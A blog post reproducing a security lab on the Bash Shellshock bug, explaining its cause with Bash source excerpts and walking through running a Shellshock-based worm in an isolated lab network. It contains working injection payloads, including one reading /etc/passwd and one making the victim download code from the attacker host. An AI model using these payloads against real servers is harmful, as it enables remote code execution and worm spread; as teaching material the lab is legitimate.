合天网安实验室:基于破壳漏洞的蠕虫实践

 

基于破壳漏洞的蠕虫实践(实验截图在下方!!)

一.预备知识

破壳漏洞的原理与利用:

了解Bash

      Bash(GNU Bourne-Again Shell)是许多Linux平台的内定Shell,事实上,还有许多传统UNIX上用的Shell,像tcsh、csh、ash、bsh、ksh等 等,Shell Script大致都类同,当您学会一种Shell以后,其它的Shell会很快就上手,大多数的时候,一个Shell Script通常可以在很多种Shell上使用。

      BASH是大多数Linux系统以及Mac OS X v10.4默认的shell,它能运行于大多数Unix风格的操作系统之上,甚至被移植到了Microsoft Windows上的Cygwin系统中,以实现windows的POSIX虚拟接口。此外,它也被DJGPP项目移植到了MS-DOS上。

      BASH的命令语法是Bourne shell命令语法的超集数量庞大的Bourne shell脚本大多不经修改即可以在bash中执行,只有那些引用了Bourne特殊变量或使用了Bourne的内置命令的脚本才需要修改。 bash的命令语法很多来自Korn shell (ksh) 和 C shell (csh), 例如命令行编辑,命令历史,目录栈,$RANDOM 和 $PPID 变量,以及POSIX的命令置换语法: $(...)。作为一个交互式的shell,按下TAB键即可自动补全已部分输入的程序名,文件名,变量名等等。

Bash漏洞起因

      关于Bash的漏洞网上已经有很多分析实例,如果您已经了解了关于此漏洞的详细起因,可以略过此处。如果您对此暂时还不是十分清楚的话,可以参考下列内容。

      我们先从一句利用代码开始说起:

      curl -A "() { :; }; /bin/cat /etc/passwd" http://192.168.0.1/poc.cgi

      我们知道curl是linux下用于http请求的一个工具,-A是将User-Agent设置为() { :; }; /bin/cat /etc/passwd字符串,后面的http://192.168.0.1/poc.cgi是位于服务器192.168.0.1的一个cgi脚本,为什么cat /etc/passwd可以在192.168.0.1执行成功呢?我认为搞清楚这一点是了解Bash漏洞起因的很好的切入点。

      首先我们来看一看poc.cgi的源代码:

      #!/bin/bash

      echo "Content-type: text/html"

      echo ""

      echo '<html>'

      echo '<head>'

      echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'

      echo '<title>PoC</title>'

      echo '</head>'

      echo '<body>'

      echo '<pre>'

      /usr/bin/env

      /* 这里存在一个BASH的调用,输出环境信息*/

      echo '</pre>'

      echo '</body>'

      echo '</html>'

      exit 0

      也就是说poc.cgi允许我们远程访问http://192.168.0.1/poc.cgi时使用HTTP方式对/usr/bin/env进行调用,那么这一过程会发生什么呢?

      首先,我们访问http://192.168.0.1/poc.cgi时可以设置任意的HTTP Header比如User-Agent、Refer、cookie以及自定义等参数。而 Bash CGI会将客户端发送的HTTP数据包的HTTP头部的字段作为ENV的参数传入环境变量的设置函数中,也就是说Bash CGI默认将HTTP头部参数作为环境变量设置源。

      我们再来看一下“() { :; }; /bin/cat /etc/passwd”这句代码的含义。

      User-Agent : ()       <-- 作为函数

      { :;};               <-- 函数体

      /bin/cat /etc/passwd  <-- 注入的代码

      当我们的() { :; }; /bin/cat /etc/passwd被传入Bash的环境设置函数之后,由于Bash使用的环境变量是通过函数名称来调用的,因此以“(){”开头定义的环境变量在命令ENV中解析成函数后, Bash会将这段代码这样解释:“()”当做User-Agent()函数、而“{ :;};” 作为一个空的函数体。这一Bash对环境进行设置的过程中,“() { :; }; /bin/cat /etc/passwd”会被当做代码进行“代码执行(可以想象成php的eval)”。注入的代码被成功解析执行后会以"环境变量"的形式保存在环境变量中,然后CGI返回的HTTP数据包中会将环境变量一并发送回客户端,也就是你看到的/bin/cat /etc/passwd执行了的结果。此时,相信你已经明白了个中缘由,问题产生的地方就在于Bash对环境进行设置的过程中对传入的参数在未检查其合法性的情况下,即进行了代码执行。那么Bash在代码中是如何实现的呢?我们来看一下Bash 3.2中对此功能的实现:

evalstring.c

      else if (command = global_command)

      {     struct fd_bitmap *bitmap;  

            /*

             这里没有对传入的command进行正确的边界检查,引入了代码注入的可能性

            */

            bitmap = new_fd_bitmap (FD_BITMAP_SIZE);

            begin_unwind_frame ("pe_dispose");

           add_unwind_protect (dispose_fd_bitmap, bitmap);

           add_unwind_protect (dispose_command, command);   

            /* XXX */   

            global_command = (COMMAND *)NULL;

      }

variables.c

      /*

      Initialize the shell variables from the current environment. If PRIVMODE is nonzero, don't import functions from

      ENV

      or

      parse $SHELLOPTS.

      */

      void initialize_shell_variables (env, privmode) char **env; int privmode;

      {

          ...

         create_variable_tables ();    

          /*

          从ENV环境变量中获取参数

          */

          for (string_index = 0; string = env[string_index++]; )

          {

        char_index = 0;

        name = string;

        while ((c = *string++) && c != '=') ;

        if (string[-1] == '=')

            char_index = string - name - 1;

        /* If there are weird things in the environment, like `=xxx' or a

           string without an `=', just skip them. */

        if (char_index == 0)

            continue;

        /* ASSERT(name[char_index] == '=') */

        name[char_index] = '\0';

        /*

        Now, name = env variable name, string = env variable value, and char_index == strlen (name)

        */

        /*

        If exported function, define it now.  Don't import functions from the environment in privileged mode.

        解析环境变量设置中的函数定义

        */

        if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))

        {

            string_length = strlen (string);

            temp_string = (char *)xmalloc (3 + string_length + char_index);

            strcpy (temp_string, name);

            temp_string[char_index] = ' ';

            strcpy (temp_string + char_index + 1, string);

            /*

            这句是关键,initialize_shell_variables对环境变量中的代码进行了执行,由于它错误的信任的外部发送的数据,形成了和SQL注入类似的场景,这句代码和PHP中的eval是类似的,黑客只要满足2个条件

            1. 控制发送的参数,并在其中拼接payload

            2. 黑客发送的包含payload的参数会被无条件的执行,而执行方不进行任何的边界检查

            这就是典型的数据和代码没有进行正确区分导致的漏洞

            */

            parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

            // Ancient backwards compatibility.  Old versions of bash exported functions like name()=() {...}

            if (name[char_index - 1] == ')' && name[char_index - 2] == '(')

                name[char_index - 2] = '\0';

            if (temp_var = find_function (name))

            {

                VSETATTR (temp_var, (att_exported|att_imported));

                array_needs_making = 1;

            }

            else

                report_error (_("error importing function definition for `%s'"), name);

            /* ( */

            if (name[char_index - 1] == ')' && name[char_index - 2] == '\0')

                name[char_index - 2] = '(';        /* ) */

        }

    }

       至此,Bash的漏洞起因就分析完了。现在网上也出现了对第一次补丁的绕过,请自行在网上查询了解,在此不再赘述。

Bash漏洞的影响范围

      Bash漏洞迄今为止影响的系统或应用包括如下:

      1. 调用了Bash并对提交的http参数未作处理的cgi脚本

      2. gitlab (SSH)

      对于git、rsync这类远程shell来说,常常会对用户可以执行的指令进行严格限制,但是这个BASH解析漏洞提供了一个bypass的向量

      3. DHCP 客户端

      动态主机配置协议客户端被用来通过DHCP自动获取网络配置信息。该客户端使用不同的环境变量和运行bash来配置网络接口。连接到一个恶意的DHCP服 务器可能允许攻击者在客户机上运行任意代码。黑客通过在域中的DHCP服务器中对DHCP的回送包进行特定的修改(控制hostname、 domainname等参数),可以达到污染dhcpclient的环境变量参数的目的,从而进行远程代码执行。

      4. Qmail

      5. F5

      6. SIP

      7. Pure-ftpd

      8. tmnt

蠕虫简介

蠕虫定义:一种能够利用系统漏洞通过网络进行自我传播的恶意程序。它不需要附着在其他程序上,而是独立存在的。当形成规模、传播速度过快时会极大地消耗网络资源导致大面积网络拥塞甚至瘫痪。

计算机蠕虫与计算机病毒相似,是一种能够自我复制的计算机程序。

与计算机病毒不同的是,计算机蠕虫不需要附在别的程序内,可能不用使用者介入操作也能自我复制或执行。它是直接在主机之间的内存中进行传播的。计算机蠕虫未必会直接破坏被感染的系统,却几乎都对网络有害。计算机蠕虫可能会执行垃圾代码以发动分散式阻断服务攻击,令计算机的执行效率极大程度降低,从而影响计算机的正常使用;可能会损毁或修改目标计算机的档案;亦可能只是浪费带宽。(恶意的)计算机蠕虫可根据其目的分成2类:

一类是面对大规模计算机网络发动拒绝服务的计算机蠕虫。

另一类是针对个人用户的执行大量垃圾代码的计算机蠕虫。

本次实验蠕虫简介

本次实验使用的蠕虫,是根据github上名为ShockWorm的蠕虫(项目地址:https://github.com/matlink/ShockWorm/blob/master/shellshock.pl)改编而成。改动有以下几点:

1.原蠕虫只感染一台主机,本实验蠕虫扩大了范围,使其真正拥有了蠕动性,可以自行传播(限制了蠕动范围)。

2.原蠕虫在感染主机后会修改系统文件,并且截获执行sudo命令时输入的口令。本实验蠕虫删除了此功能,在感染与完成传播之后,仅执行sleep操作。

二.实验环境

  

蠕虫发起者:centos6.5,IP地址:10.1.1.231

Worm1:centos6.5(web服务器),1号被感染主机,IP地址:10.1.1.12

Worm2:centos6.5(web服务器),2号被感染主机 ,IP地址10.1.1.x(x随机)

三.实验步骤

实验步骤一

本实验分为三个任务:

任务一:判断10.1.1.12主机web服务的test.cgi是否存在破壳漏洞;

任务二:蠕虫发起者执行蠕虫程序,感染1号主机Worm1;

任务三:观察Worm1主机蠕虫的传播过程,检查Worm2主机是否被感染。

任务描述:判断10.1.1.12主机web服务的test.cgi是否存在破壳漏洞

1.使用ssh登录蠕虫发起者主机(10.1.1.231),执行下面三条命令。命令执行结果如下图所示。

[root@worm-master ~]# tail /var/log/httpd/access_log

[root@worm-master ~]# curl -A “() { :; }; /usr/bin/wget http://10.1.1.231/shock” http://10.1.1.12/test.cgi

[root@worm-master ~]# tail /var/log/httpd/access_log

2.根据最后一条命令的结果,蠕虫发起者主机(10.1.1.231)的web日志中出现了worm1的访问记录,说明worm1主机(10.1.1.12)存在破壳漏洞。

实验截图:

实验步骤二

任务描述:蠕虫发起者执行蠕虫程序,感染1号主机Worm1。

1.为了避免自身被感染,向蠕虫表明自己是发起者的身份,我们需要登录10.1.1.231主机,通过下面的命令创建一个文件。

[root@worm-master ~]# touch /tmp/key.txt

2.继续在10.1.1.231上执行下面的命令,可以找到蠕虫程序。

[root@worm-master shockworm]# cd /root/shockworm/

[root@worm-master shockworm]# ls

Shellshock.pl

3.登录worm1,查看/tmp目录。

[root@worm-test1 tmp]# ls -al

total 12

drwxrwxrwt.  3 root root 4096 Jun 25 03:25 .

dr-xr-xr-x. 22 root root 4096 Jun 24 11:35 ..

drwxrwxrwt.  2 root root 4096 Jun 24 11:35 .ICE-unix

-rw-------.  1 root root    0 Jan  9  2014 yum.log

4.继续返回10.1.1.231主机,执行下面的命令,来运行蠕虫程序。

[root@worm-master shockworm]# perl shellshock.pl

local ip is 10.1.1.231

targetIP is 10.1.1.12...

Done!

[root@worm-master shockworm]#

5.登录Worm1,执行下面的命令,观察被感染的特征。

[root@worm-test1 tmp]# ls -al

total 16

drwxrwxrwt.  4 root   root   4096 Jun 25 13:52 .

dr-xr-xr-x. 22 root   root   4096 Jun 24 11:35 ..

drwxrwxrwt.  2 root   root   4096 Jun 24 11:35 .ICE-unix

drwxr-xrwx.  2 apache apache 4096 Jun 25 13:52 .ssh-mOTc45gfXwPj

-rw-------.  1 root   root      0 Jan  9  2014 yum.log

[root@worm-test1 tmp]# ls .ssh-mOTc45gfXwPj/

agent.1336  agent.1337

[root@worm-test1 tmp]# ps aux | grep agent.1337

apache    1827  0.0  0.8  33884  4420 ?        S    Jun24   0:00 /usr/bin/perl /tmp/.ssh-mOTc45gfXwPj/agent.1337

root      3512  0.0  0.1 103244   864 pts/1    S+   13:56   0:00 grep agent.1337

通过对比/tmp目录可以发现,Worm1已经被感染了shockworm蠕虫程序,如下图。

实验截图:

实验步骤三

1.登录Worm1(10.1.1.12),不断的执行命令:“ps aux |grep curl”可以看到蠕虫的传播过程,被感染的Worm1通过agent.1337进程,不断的向同网段的其他主机发起攻击与感染。如下所示:

[root@worm-test1 tmp]# ps aux | grep curl

apache    3741  0.0  0.2  11300  1280 ?        S    14:03   0:00 sh -c curl http://10.1.1.16/test.cgi 2>/dev/null | grep Hi | wc -l

apache    3742  0.0  0.6  73992  3072 ?        S    14:03   0:00 curl http://10.1.1.16/test.cgi

root      3752  0.0  0.1 103244   852 pts/1    S+   14:03   0:00 grep curl

[root@worm-test1 tmp]# ps aux | grep curl

apache    3753  0.0  0.2  11300  1276 ?        S    14:03   0:00 sh -c curl http://10.1.1.17/test.cgi 2>/dev/null | grep Hi | wc -l

apache    3754  0.0  0.6  73992  3076 ?        S    14:03   0:00 curl http://10.1.1.17/test.cgi

root      3758  0.0  0.1 103244   856 pts/1    S+   14:03   0:00 grep curl

从上面命令的执行结果,可以看出,蠕虫正在攻击10.1.1.16和10.1.1.17。

2.经过一段时间之后(大约10分钟),登录Worm2。同样使用命令:”ls -al /tmp”查看,可以发现主机也被此蠕虫感染。对比效果如下图:

15:27分tmp目录下产生了感染文件

 四.课后习题

 

 

posted @ 2021-10-08 09:49  Forestofyou  阅读(203)  评论(0)    收藏  举报